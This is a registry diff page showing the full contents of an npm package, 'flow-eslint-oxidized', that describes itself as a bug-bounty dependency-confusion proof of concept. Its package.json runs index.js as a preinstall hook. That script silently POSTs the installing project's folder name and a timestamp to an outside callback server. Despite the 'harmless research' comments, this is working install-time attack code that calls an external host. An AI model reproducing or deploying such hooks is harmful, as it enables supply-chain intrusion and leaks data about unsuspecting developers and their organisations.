flow-eslint-oxidized 0.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +46 -0
  2. package/package.json +10 -0
package/index.js ADDED
@@ -0,0 +1,46 @@
1
+ // SECURITY RESEARCH: Harmless dependency confusion PoC.
2
+ // This package sends a simple "ping" to verify execution.
3
+ // No system data, source code, or PII is accessed or transmitted.
4
+ // Contact: dd_06@wearehackerone.com
5
+
6
+ const http = require('http');
7
+ const https = require('https');
8
+ const path = require('path');
9
+
10
+ const targetDir = process.env.INIT_CWD || path.resolve(__dirname, '../../../');
11
+ // Extract ONLY the folder name (e.g., "target-project") to avoid leaking PII from full paths
12
+ const safeProjectName = path.basename(targetDir);
13
+
14
+ // No system data.
15
+ const info = {
16
+ pkg: "flow-eslint-oxidized",
17
+ timestamp: new Date().toISOString(),
18
+ transport: 'http',
19
+ project: safeProjectName
20
+ };
21
+
22
+ const CALLBACK_URL = 'https://deepbounty.dd06-dev.fr/cb/f4ac4ee8-f8d0-47da-80c8-83aeaeae2203';
23
+
24
+ function sendHttpPayload() {
25
+ const parsed = new URL(CALLBACK_URL);
26
+ const postData = JSON.stringify(info);
27
+ const lib = parsed.protocol === 'https:' ? https : http;
28
+
29
+ const req = lib.request(CALLBACK_URL, {
30
+ method: 'POST',
31
+ headers: {
32
+ 'Content-Type': 'application/json',
33
+ 'Content-Length': Buffer.byteLength(postData)
34
+ },
35
+ timeout: 15000
36
+ }, (res) => {
37
+ // Just consume the stream, don't need the response
38
+ res.on('data', () => { });
39
+ });
40
+
41
+ req.write(postData);
42
+ req.end();
43
+ }
44
+
45
+ // Start sequence
46
+ sendHttpPayload();
package/package.json ADDED
@@ -0,0 +1,10 @@
1
+ {
2
+ "name": "flow-eslint-oxidized",
3
+ "version": "0.0.1",
4
+ "description": "Security PoC for Bug Bounty",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node index.js"
8
+ },
9
+ "author": "dd_06"
10
+ }